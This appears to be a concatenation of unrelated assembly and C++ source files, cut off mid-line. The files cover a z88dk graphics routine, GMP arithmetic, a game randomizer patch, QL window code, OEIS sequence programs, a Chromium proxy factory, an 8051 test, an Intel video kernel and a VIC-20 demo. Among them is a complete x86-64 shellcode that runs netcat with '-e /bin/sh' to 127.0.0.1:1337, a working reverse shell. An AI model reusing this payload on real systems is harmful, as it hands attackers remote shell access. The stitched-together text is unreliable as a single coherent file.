; ; Generic pseudo graphics routines for text-only platforms ; Version for the 2x3 graphics symbols ; ; Written by Stefano Bodrato 05/09/2007 ; ; ; Get pixel at (x,y) coordinate. ; ; ; $Id: pointxy.asm,v 1.7 2016-07-02 09:01:36 dom Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC pointxy EXTERN textpixl EXTERN div3_0 EXTERN __gfx_coords EXTERN base_graphics .pointxy ld a,h cp maxx ret nc ld a,l cp maxy ret nc ; y0 out of range inc a push bc push de push hl ld (__gfx_coords),hl ld c,a ; y ld b,h ; x push bc ld hl,div3_0 ld d,0 ld e,c adc hl,de ld a,(hl) ld c,a ; y/3 srl b ; x/2 ld hl,(base_graphics) ld a,c ld c,b ; !! and a ld de,maxx/2 sbc hl,de jr z,r_zero ld b,a .r_loop add hl,de djnz r_loop .r_zero ; hl = char address ld b,a ; keep y/3 ld e,c add hl,de ld a,(hl) ; get current symbol from screen ld e,a ; ..and its copy push hl ; char address push bc ; keep y/3 ld hl,textpixl ld e,0 ld b,64 ; whole symbol table size .ckmap cp (hl) ; compare symbol with the one in map jr z,chfound inc hl inc e djnz ckmap ld e,0 .chfound ld a,e pop bc ; restore y/3 in b pop hl ; char address ex (sp),hl ; save char address <=> restore x,y (y=h, x=l) ld c,a ; keep the symbol ld a,l inc a inc a sub b sub b sub b ; we get the remainder of y/3 ld l,a ld a,1 ; the pixel we want to draw jr z,iszero bit 0,l jr nz,is1 add a,a add a,a .is1 add a,a add a,a .iszero bit 0,h jr z,evenrow add a,a ; move down the bit .evenrow and c pop bc pop hl pop de pop bc ret
dnl Intel Pentium-4 mpn_cnd_sub_n -- mpn subtraction. dnl Copyright 2001, 2002, 2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C P6 model 0-8,10-12 - C P6 model 9 (Banias) ? C P6 model 13 (Dothan) 4.67 C P4 model 0-1 (Willamette) ? C P4 model 2 (Northwood) 5 C P4 model 3-4 (Prescott) 5.25 defframe(PARAM_SIZE, 20) defframe(PARAM_SRC2, 16) defframe(PARAM_SRC1, 12) defframe(PARAM_DST, 8) defframe(PARAM_CND, 4) dnl re-use parameter space define(SAVE_EBX,`PARAM_SRC1') define(`cnd', `%mm3') TEXT ALIGN(8) ALIGN(8) PROLOGUE(mpn_cnd_sub_n) deflit(`FRAME',0) pxor %mm0, %mm0 mov PARAM_CND, %eax neg %eax sbb %eax, %eax movd %eax, cnd mov PARAM_SRC1, %eax mov %ebx, SAVE_EBX mov PARAM_SRC2, %ebx mov PARAM_DST, %edx mov PARAM_SIZE, %ecx lea (%eax,%ecx,4), %eax C src1 end lea (%ebx,%ecx,4), %ebx C src2 end lea (%edx,%ecx,4), %edx C dst end neg %ecx C -size L(top): movd (%ebx,%ecx,4), %mm2 movd (%eax,%ecx,4), %mm1 pand cnd, %mm2 psubq %mm2, %mm1 psubq %mm0, %mm1 movd %mm1, (%edx,%ecx,4) psrlq $63, %mm1 add $1, %ecx jz L(done_mm1) movd (%ebx,%ecx,4), %mm2 movd (%eax,%ecx,4), %mm0 pand cnd, %mm2 psubq %mm2, %mm0 psubq %mm1, %mm0 movd %mm0, (%edx,%ecx,4) psrlq $63, %mm0 add $1, %ecx jnz L(top) movd %mm0, %eax mov SAVE_EBX, %ebx emms ret L(done_mm1): movd %mm1, %eax mov SAVE_EBX, %ebx emms ret EPILOGUE()
;================================================================================ ; Randomize Catfish ;-------------------------------------------------------------------------------- !HEART_REDRAW = "$7F5000" LoadCatfishItemGFX: LDA.l $1DE185 ; location randomizer writes catfish item to JML PrepDynamicTile ;-------------------------------------------------------------------------------- DrawThrownItem: LDA $8A : CMP.b #$81 : BNE .catfish .zora LDA.b #$01 : STA !HEART_REDRAW LDA.l $1DE1C3 ; location randomizer writes zora item to BRA .draw .catfish LDA.l $1DE185 ; location randomizer writes catfish item to .draw JML DrawDynamicTile ;-------------------------------------------------------------------------------- MarkThrownItem: JSL Link_ReceiveItem ; thing we wrote over LDA $8A : CMP.b #$81 : BNE .catfish .zora JML ItemSet_ZoraKing .catfish JML ItemSet_Catfish ;--------------------------------------------------------------------------------
* Reset windows V0.8  Tony Tebby QJUMP * * WMON mode resets windows to monitor defaults * WTV mode resets windows to tv defaults * section exten * xdef wmon xdef wtv * xref wmon_def xref wtv_def xref ut_gtint xref ut_gtin1 * include 'dev8_keys_qdos_io' include 'dev8_keys_qdos_sms' include 'dev8_keys_sbasic' * wmon lea wmon_def(pc),a4 set pointer to definitions moveq #0,d7 monitor type bra.s wdef wtv lea wtv_def(pc),a4 moveq #1,d7 tv type wdef sub.w #$18,sp moveq #0,d5 moveq #-1,d6 cmp.l a3,a5 ; any params? beq.s wdef_do move.w #$0f0f,d0 and.w (a6,a3.l),d0 ; nul mode parameter? beq.s wdef_posn ; ... yes jsr ut_gtin1 ; ... no, get mode bne.l wdef_exit move.w (a6,a1.l),d6 ; put mode safe in d6 moveq #-1,d1 moveq #-1,d2 moveq #sms.dmod,d0 trap #1 cmp.b #2,d1 ; mode 2 beq.s wdef_posn ; ... yes, always clear / reset ext.l d6 ; ... do not clear / reset wdef_posn addq.l #8,a3 cmp.l a3,a5 beq.s wdef_do jsr ut_gtint ; get integers bne.l wdef_exit ; ... oops move.l (a6,a1.l),d5 ; offset subq.w #1,d3 ; one or two ? bgt.s wdef_do ; x and y move.l d5,d1 swap d1 move.w d1,d5 ; x and y the same * wdef_do swap d6 ; save mode lea $10(sp),a5 ; get three cursor positions move.l sb_chanb(a6),a2 get base of channel table move.l (a6,a2.l),a0 moveq #-1,d3 moveq #iop.pinf,d0 trap #3 tst.l d0 ; pointer interface? bne.s wdef_set cmp.l #'1.63',d1 blo.s wdef_set ; not recent enough add.w #$28*3,a2 moveq #2,d4 wdef_pixq sub.w #$28,a2 move.l (a6,a2.l),a0 move.l a5,a1 subq.l #4,a5 moveq #-1,d3 moveq #iow.pixq,d0 ; save the cursor position trap #3 dbra d4,wdef_pixq move.l a4,a5 ; scan the definitions to get outline moveq #-1,d3 ; max origin moveq #0,d2 ; min limit moveq #2,d4 wdef_oloop addq.w #4,a5 ; skip border ink and paper move.l (a5)+,d0 ; size move.l (a5)+,d1 ; origin add.l d1,d0 ; limit wdef_ocheck swap d0 swap d1 swap d2 swap d3 cmp.w d2,d0 ; new limit? bls.s wdef_osize ; ... no move.w d0,d2 wdef_osize cmp.w d3,d1 ; new size? bhs.s wdef_onext move.w d1,d3 wdef_onext not.w d4 ; do again? bmi.s wdef_ocheck dbra d4,wdef_oloop sub.l d3,d2 ; set size add.l d5,d3 ; and origin move.l sp,a1 movem.l d2/d3,(a1) moveq #0,d1 moveq #1,d2 moveq #-1,d3 moveq #iop.outl,d0 ; set (preserve) outline trap #3 swap d0 ; msb may be set bset #0,d0 ; lsb will be set and.w d0,d6 ; -ve outline failed +ve outline OK 0 don't care wdef_set moveq #2,d4 and set the first three channels lea $c(sp),a5 wdef_loop move.b (a4)+,d1 border colour move.b (a4)+,d2 and width addq.w #2,a4 move.l sp,a1 move.l (a4)+,(a1) size move.l d5,d3 add.l (a4)+,d3 origin move.l d3,4(a1) move.l (a6,a2.l),a0 set this channel moveq #-1,d3 no timeout moveq #iow.defw,d0 define window trap #3 do trap tst.w d6 clear required? beq.s wdef_eloop ... nothing bgt.s wdef_scurs reset cursor position moveq #iow.clra,d0 ... clear all bra.s wdef_trap wdef_scurs move.w (a5)+,d1 move.w (a5)+,d2 moveq #iow.spix,d0 ... reset cursor wdef_trap trap #3 wdef_eloop add.w #$28,a2 move channel pointer dbra d4,wdef_loop wdef_mode moveq #sms.dmod,d0 set up display mode swap d6 move.w d6,d1 either 8 or 256 gets 8 colour mode bmi.s wdef_ok lsr.w #5,d6 or.b d6,d1 and.w #8,d1 move.w d7,d2 set tv trap #1 wdef_ok moveq #0,d0 wdef_exit add.w #$18,sp rts end
; A261807: a(n) = n XOR n^3. ; Coded manually 2021-03-30 by Simon Strandgaard, https://github.com/neoneye ; 0,0,10,24,68,120,222,336,520,720,994,1336,1740,2200,2742,3360,4112,4896,5850,6872,8020,9272,10638,12176,13848,15632,17586,19704,21980,24408,26982,29760,32800,35904,39338,42840,46692,50680,54910,59280,64040,68880,74050,79544 mov $5,$0 pow $5,3 ; Now $5 holds n^3 ; Determine the number of times to loop mov $2,$5 seq $2,70939 ; Length of binary representation of n^3. mov $4,1 ; Inital scale factor lpb $2 ; Do xor with the lowest bit mov $3,$0 add $3,$5 mod $3,2 ; Now $3 holds the bitwise xor with $0 and $5 ; Scale up the bit, and add to result mul $3,$4 add $1,$3 div $0,2 ; Remove the lowest bit from n div $5,2 ; Remove the lowest bit from n^3 mul $4,2 ; Double the scale factor. Example: 1,2,4,8,16,32 sub $2,1 lpe mov $0,$1
; A155859: a(n) = (1/162)*(61*10^n + 18*n + 20). ; Submitted by Christian Krause ; 4,38,377,3766,37655,376544,3765433,37654322,376543211,3765432100,37654320989,376543209878,3765432098767,37654320987656,376543209876545,3765432098765434,37654320987654323,376543209876543212,3765432098765432101,37654320987654320990,376543209876543209879,3765432098765432098768,37654320987654320987657,376543209876543209876546,3765432098765432098765435,37654320987654320987654324,376543209876543209876543213,3765432098765432098765432102,37654320987654320987654320991,376543209876543209876543209880 mov $2,4 lpb $0 sub $0,1 add $1,1 mul $2,10 sub $2,$1 sub $2,1 lpe mov $0,$2
;The MIT License (MIT) ;Copyright (c) 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the “Software”), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided “as is”, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/03/netcatrevshell1434.html global _start section .text _start: xor edx,edx push '1337' push rsp pop rcx push rdx mov rax,'/bin//sh' push rax push rsp pop rbx push rdx mov rax,'/bin//nc' push rax push rsp pop rdi push '1' mov rax,'127.0.0.' push rax push rsp pop rsi push rdx push word '-e' push rsp pop rax push rdx ; push null push rbx ; '/bin//sh' push rax ; '-e' push rcx ; '1337' push rsi ; '127.0.0.1' push rdi ; '/bin//nc' push rsp pop rsi ; address of array of pointers to strings push 59 ; execve system call pop rax syscall
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/proxy/in_process_mojo_proxy_resolver_factory.h" #include <utility> #include "base/memory/singleton.h" #include "net/proxy/mojo_proxy_resolver_factory_impl.h" namespace net { // static InProcessMojoProxyResolverFactory* InProcessMojoProxyResolverFactory::GetInstance() { return base::Singleton<InProcessMojoProxyResolverFactory>::get(); } InProcessMojoProxyResolverFactory::InProcessMojoProxyResolverFactory() { // Implementation lifetime is strongly bound to the life of the connection via // |factory_|. When |factory_| is destroyed, the Mojo connection is terminated // which causes this object to be destroyed. new MojoProxyResolverFactoryImpl(mojo::GetProxy(&factory_)); } InProcessMojoProxyResolverFactory::~InProcessMojoProxyResolverFactory() = default; std::unique_ptr<base::ScopedClosureRunner> InProcessMojoProxyResolverFactory::CreateResolver( const mojo::String& pac_script, mojo::InterfaceRequest<interfaces::ProxyResolver> req, interfaces::ProxyResolverFactoryRequestClientPtr client) { factory_->CreateResolver(pac_script, std::move(req), std::move(client)); return nullptr; } } // namespace net
MOV 0x20,#0x01 MOV 0x21,#0x02 MOV 0x22,#0x04 MOV 0x23,#0x08 MOV 0x24,#0x10 MOV 0x25,#0x20 MOV 0x26,#0x40 MOV 0x27,#0x80 MOV 0x28,#0x01 MOV 0x29,#0x02 MOV 0x2A,#0x04 MOV 0x2B,#0x08 MOV 0x2C,#0x10 MOV 0x2D,#0x20 MOV 0x2E,#0x40 MOV 0x2F,#0x80 SJMP L15 START: L0: MOV A,#0 JBC 0x00,START L1: MOV A,#1 JBC 0x09,L0 L2: MOV A,#2 JBC 0x12,L1 L3: MOV A,#3 JBC 0x1B,L2 L4: MOV A,#4 JBC 0x24,L3 L5: MOV A,#5 JBC 0x2D,L4 L6: MOV A,#6 JBC 0x36,L5 L7: MOV A,#7 JBC 0x3F,L6 L8: MOV A,#8 JBC 0x40,L7 L9: MOV A,#9 JBC 0x49,L8 L10: MOV A,#10 JBC 0x52,L9 L11: MOV A,#11 JBC 0x5B,L10 L12: MOV A,#12 JBC 0x64,L11 L13: MOV A,#13 JBC 0x6D,L12 L14: MOV A,#14 JBC 0x76,L13 L15: MOV A,#15 JBC 0x7F,L14 MOV A,#0xFF
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ // Module name: PL5x8_PL16x8.asm #include "Expansion.inc" //------------------------------ Horizontal Upconversion ----------------------------- $for (nUV_NUM_OF_ROWS/2-1; >-1; -1) { avg.sat (16) uwDEST_U(0, %1*32+16) uwDEST_U(0, %1*16+7)<1;2,0> uwDEST_U(0, %1*16+7)<1;2,1> avg.sat (16) uwDEST_V(0, %1*32+16) uwDEST_V(0, %1*16+7)<1;2,0> uwDEST_V(0, %1*16+7)<1;2,1> avg.sat (16) uwDEST_U(0, %1*32) uwDEST_U(0, %1*16)<1;2,0> uwDEST_U(0, %1*16)<1;2,1> avg.sat (16) uwDEST_V(0, %1*32) uwDEST_V(0, %1*16)<1;2,0> uwDEST_V(0, %1*16)<1;2,1> } $for (nUV_NUM_OF_ROWS/2-1; >-1; -1) { avg.sat (16) uwDEST_U(0, %1*32+16) uwDEST_U(0, %1*32+18)<1;2,0> uwDEST_U(0, %1*32+18)<1;2,1> avg.sat (16) uwDEST_V(0, %1*32+16) uwDEST_V(0, %1*32+18)<1;2,0> uwDEST_V(0, %1*32+18)<1;2,1> avg.sat (16) uwDEST_U(0, %1*32) uwDEST_U(0, %1*32)<1;2,0> uwDEST_U(0, %1*32)<1;2,1> avg.sat (16) uwDEST_V(0, %1*32) uwDEST_V(0, %1*32)<1;2,0> uwDEST_V(0, %1*32)<1;2,1> } // End of PL5x8_PL16x8
!source "../loader/start_glob.inc" !zone mc *=$11C0 mcstart_mine sei lda #47 sta $9001 lda #40 sta $9003 lda #128+21 sta $9002 lda #$08 sta $900f lda #$08 sta $900e ldx #7 .hsf lda shape,x ;sta $200,x ;sta $208,x ;sta $210,x sta $298,x ; $218,x ;sta $220,x ;sta $228,x ;sta $230,x ;sta $238,x dex bpl .hsf lda #1 ldx #0 .l0 lda #$f sta $9400,x sta $9500,x ;lda #1 sta $9600,x sta $9700,x lda #$00 sta $1e00,x sta $1f00,x sta linelist,x dex bne .l0 ; for some reason: f9 shows "starry noise", fa & fb ok ; f5 & f4 also show noise lda #$f7 ; ; 0 8000, 8 0000 9 0400 A 0800 B 0C00 C 1000 sta $9005 STMP=$fd mainloop0: ; lda #0 ;.ml00 sta $0200,x .ml0 jsr mainloop lda chStates+4 cmp #5*4 beq .ml0 .ml1 jsr mainloop lda chStates+4 cmp #5*4 bne .ml1 lda #$ff sta $fd .ml15 jsr mainloop dec $fd bne .ml15 ; lda #$00 ; sta $900e .ml2 jsr mainloop_without_music inc $900d dec $900c dec $900c dec $900c dec $900b dec $900a inc stretch_dlo bne .ml2 inc stretch_dhi ldx #chData_drums_wild-chData-1 stx chInitPointers+3 inx stx chPointers+3 ldx #chData_chords-chData-1 stx chInitPointers+4 inx stx chPointers+4 ldx #chData_melodyPart0-chData-1 stx chInitPointers inx stx chPointers .ml3 jsr mainloop dec rollposition bne .ml3 lda #0 sta $fa sta $f9 .ml4 jsr mainloop_with_rolling dec $fd bne .ml4 .ml5 jsr mainloop_with_rolling inc stretch_dlo inc stretch_position dec $fd bne .ml5 lda #0 sta stretch_dhi lda #12 sta $fd ldx #chData_melodyPart1-chData-1 stx chInitPointers .ml55 lda #$77 sta stretch_dhi jsr mainloop_with_rolling lda $fd sta stretch_dhi jsr mainloop_with_rolling dec $fd bne .ml55 .ml6 jsr mainloop_with_action dec $fd bne .ml6 lda #$ff sta $f0 .ml7 jsr mainloop_with_countdown dec $fd bne .ml7 lda #0 sta chInitPointers+1 sta chInitPointers+3 ;.ml77 jsr mainloop_with_countdown ; dec $fd ; bne .ml77 .ml78 jsr mainloop_with_countdown ldx $fd lda #0 sta linecolrs,x dec $fd bne .ml78 jmp restofdesign ;.ml8 lda #4 ; bit $fd ; bne .ml87 ; lda #8 ; sta $900e ; jsr mainloop_with_countdown ; jmp .ml88 ;.ml87 lda #0 ; sta $900e ; jsr mainloop ;.ml88 dec $fd ; bne .ml8 ; ;.ml9 jsr mainloop ; jmp .ml9 ; lda stretch_dhi ; and #3 ; sta stretch_dhi ; lda $fd ; bpl .hou ; lda stretch_dlo ; eor #$ff ; sta stretch_dlo ; lda stretch_dhi ; eor #$ff ; sta stretch_dhi ;.hou ; ; ; inc stretch_position ; clc ; lda stretch_dlo ; adc #16 ; sta stretch_dlo ; bcc .cc6 ; inc stretch_dhi ;.cc6 lda stretch_dhi ; cmp #$10 ; beq .cc6b ; lda #$f0 ; sta stretch_dhi ;.ml99 jsr mainloop ; jmp .ml99 drawchar: stx .trg asl asl asl and #63-7 clc adc #8 sta .src ldx #120 .d3 lda $8100,x .src=*-2 sta $ff ldy #7 .d2 lsr $ff lda #0 bcc .d1 lda #195+16 .d1 sta $1e00,y .trg=*-2 dey bpl .d2 clc lda .trg adc #21 sta .trg inx bpl .d3 rts ;*=$1380 mainloop_with_countdown ldx #2+84 lda $f0 lsr lsr lsr lsr lsr jsr drawchar ldx #10+84 lda $f0 lsr lsr jsr drawchar dec $f0 mainloop_with_action lda #0 .paski=*-1 sta stretch_dhi lda $f9 bpl .cc66 eor #$ff .cc66 asl ldx #0 asl bcc .cc6 ldx #$ff .cc6 stx stretch_dhi sta stretch_dlo dec stretch_position dec stretch_position inc $f9 mainloop_with_rolling inc $fa lda $fa bpl .zu eor #$ff .zu sta rollposition mainloop: jsr musicplayer mainloop_without_music: ;;; STRETCH LO=$fb HI=$fc lda #0 stretch_position=*-1 sta LO sta HI ; lda #9 ; sta $900f ldy #159-31 .sl0 clc lda LO adc #0 stretch_dlo=*-1 sta LO lda HI adc #0 stretch_dhi=*-1 sta HI and #126 sta linelist+31,y dey bne .sl0 ; inc stretch_dlo ; bne .blah ; ; ldx stretch_dhi ; inx ; cpx #4 ; bne .blah2 ; ldx #$fd ;.blah2 stx .dhi ;.blah ;;; ROLL ;;; ldy #63 .rl0 lda #0 rolloffset=*-1 ; lsr ; lsr clc adc rolltab,y eor #127 and #62 ora #128 sta linelist+160,y rollposition=*-2 dey bpl .rl0 ;;; REFLECT ;;; ldx #31 ldy #33 .rfl0 lda linelist,y sta linelist,x iny dex bpl .rfl0 ;;; DIZAJN ; inc $fc ; lda $fc ; bpl .zu ; eor #$ff ;.zu lsr ; sta rollposition inc rolloffset ;;;;;;;;;; .zkip ;dec $900f lda #12 sta $9000 ; lda #40 ; sta $9003 rasta lda #40 ; = start of screen ll0 cmp $9004 ; wait until at given rasterline bne ll0 ; bail out 3..9 clocks after $9004 change ; first cmp must occur 71-3-4=64 clks later lda $9003 ; -4 (60) ldy #12 ; -2 (58) -1 no matter nop m1 ldx #16 ; wait 57 m2 dex dex bne m2 cmp $9003 ; +4 beq *+2 ; +3 if equal, +2 if not equal eor #$80 ; +2 dey ; +2 bne m1 ; +3 -> total 71 if adjusted, 70 if not pha pla pha pla pha pla pha pla pha pla pha pla pha pla ; pha ; pla nop cmp 0 ldy #159 .l00 ldx linelist,y ; 4 ; do anding in real loop stx .pt ; 4 ; stx linelist lda linecolrs,x ; 4 sta $900f ; 4 jmp (lineptrs) ; 5 .pt=*-2 linedone dey ; 2 bne .l00 ; 3 ; total 26 - leaves 45 (22 chars + dumbo) ldx #0 stx $900f dex stx $9000 rts *=$1400 lineptrs !word picl0,picl0,picl1,picl2,picl3,picl4,picl5,picl6,picl7,picl8,picl9,picl10 !word picl11,picl12,picl13,picl14,picl15,picl16,picl16,picl17,picl18,picl19 !word picl20,picl21,picl22,picl23,picl24,picl25,picl25,picl24,picl23,picl22 !word picl21,picl20,picl19,picl18,picl17,picl16,picl16,picl15,picl14,picl13 !word picl12,picl11,picl10,picl9,picl8,picl7,picl6,picl5,picl4,picl3,picl2 !word picl1,picl26,picl27,picl28,picl29,picl30,picl31,picl32,picl33,picl34 !word picl0 ;!word picl0 !word picl35,picl36,picl37,picl38,picl39,picl40,picl40 !word picl41,picl42,picl0,picl0,picl35,picl36,picl37,picl38 !word picl39,picl40,picl40,picl41,picl42,picl0,picl42,picl41 !word picl40,picl40,picl39,picl38,picl37,picl36,picl35,picl0,picl0 ; 96x2 = 192 rolltab ; 64, just fit !byte 0, 3, 4, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13 !byte 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 19, 19 !byte 19, 20, 20, 20, 21, 21, 21, 22, 22, 23, 23, 23, 24, 24, 25, 25, 26, 26, 27 !byte 27, 28, 29, 30 *=$1500 linecolrs ; 192 !word $66,$66,$86,$86,$86,$83,$f6,$16,$16,$f6,$d6,$f3,$d6,$d6,$c6,$d6,$c3 !word $c6,$16,$c6,$13,$16,$16,$c3,$e6,$e3,$67,$01,$67,$60,$02,$60,$42,$c0 !word $42,$c2,$c0,$e2,$62,$02,$60,$22,$22,$a2,$22,$00,$22,$22,$a2,$f2,$22 !word $00,$72,$72,$22,$22,$26,$26,$26,$26,$26,$26,$66,$66 , $94,$72,$f4,$12 !word $f4,$72,$74,$92,$74,$00,$63,$e6,$e3,$c6,$a3,$a6,$c3,$e6,$e3,$c6,$66 !word $65,$37,$b5,$17,$15,$17,$15,$b7,$35,$67,$64 linelist=$1600;$0200 shape: !byte %01111101 !byte %01101101 !byte %10101011 !byte %10101011 !byte %10101011 !byte %10101011 !byte %11101101 !byte %01110101 ;*=$1600 ; !!! USE $200+ ;linelist ;!byte 126,126,124,124,122,122,120,120,118,118 ;!byte 116,116,114,114,112,112,110,110,108,108 ;!byte 106,106,104,104,102,102,100,100, 98, 98 ;!byte 96, 96, 94, 94, 92, 92, 90, 90, 88, 88 ;!byte 86, 86, 84, 84, 82, 82, 80, 80, 78, 78 ;!byte 76, 76, 74, 74, 72, 72, 70, 70, 68, 68 ;!byte 66, 66, 64, 64, 62, 62, 60, 60, 58, 58 ;!byte 56, 56, 54, 54, 52, 52, 50, 50, 48, 48 ;!byte 46, 46, 44, 44, 42, 42, 40, 40, 38, 38 ;!byte 36, 36, 34, 34, 32, 32, 30, 30, 28, 28 ;!byte 26, 26, 24, 24, 22, 22, 20, 20, 18, 18 ;!byte 16, 16, 14, 14, 12, 12, 10, 10, 8, 8 ;!byte 6, 6, 4, 4, 2, 2, 0, 0 ;; 160 reserved, 96 free *=$1700 picl0 ; 42 bytes to 21 ; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $4E !byte $00 !byte $8B !byte $EE !byte $00 !byte $8B jmp linedone picl1 ; 42 bytes to 36 ; 55 55 55 55 5A AA AA AA AA AA AA AA AA AA 55 55 55 55 55 55 55 !byte $C9 !byte $55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $A9 !byte $AA !byte $8D !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl2 ; 42 bytes to 28 ; 55 55 55 56 AA AA AA AA AA AA AA AA AA AA A9 55 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $56 !byte $EA !byte $AA !byte $AA !byte $AA !byte $AA !byte $AA !byte $AA !byte $AA !byte $AA !byte $AA !byte $AA !byte $A9 !byte $55 !byte $C9 !byte $55 !byte $8D !byte $55 !byte $02 !byte $8D !byte $55 !byte $02 jmp linedone picl3 ; 42 bytes to 36 ; 55 55 55 6A AA AA AA AA AA AA AA AA AA AA AA 55 55 55 55 55 55 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $C9 !byte $6A !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $C9 !byte $AA !byte $A9 !byte $AA !byte $8D !byte $AA !byte $02 !byte $8D !byte $AA !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl4 ; 42 bytes to 35 ; 55 55 56 AA AA AA AA AA AA AA AA AA AA AA AA 95 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $56 !byte $C9 !byte $AA !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $C9 !byte $95 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl5 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA AA AA A8 00 00 02 AA AA A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $4E !byte $A8 !byte $88 !byte $C9 !byte $02 !byte $8E !byte $AA !byte $02 !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl6 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA AA A0 00 00 00 00 0A AA A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $4E !byte $00 !byte $8B !byte $8E !byte $0A !byte $02 !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl7 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA AA A0 00 00 00 00 00 AA A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $A2 !byte $AA !byte $8E !byte $AA !byte $02 !byte $8E !byte $AA !byte $02 !byte $C9 !byte $A0 !byte $C9 !byte $00 !byte $4E !byte $00 !byte $8B !byte $8E !byte $00 !byte $02 !byte $C9 !byte $A5 !byte $A2 !byte $55 !byte $8E !byte $55 !byte $02 !byte $8E !byte $55 !byte $02 jmp linedone picl8 ; 42 bytes to 34 ; 55 55 5A AA AA AA AA AA AA A8 00 00 00 00 0A A5 55 55 55 55 55 !byte $C9 !byte $55 !byte $C9 !byte $55 !byte $C9 !byte $5A !byte $C9 !byte $AA !byte 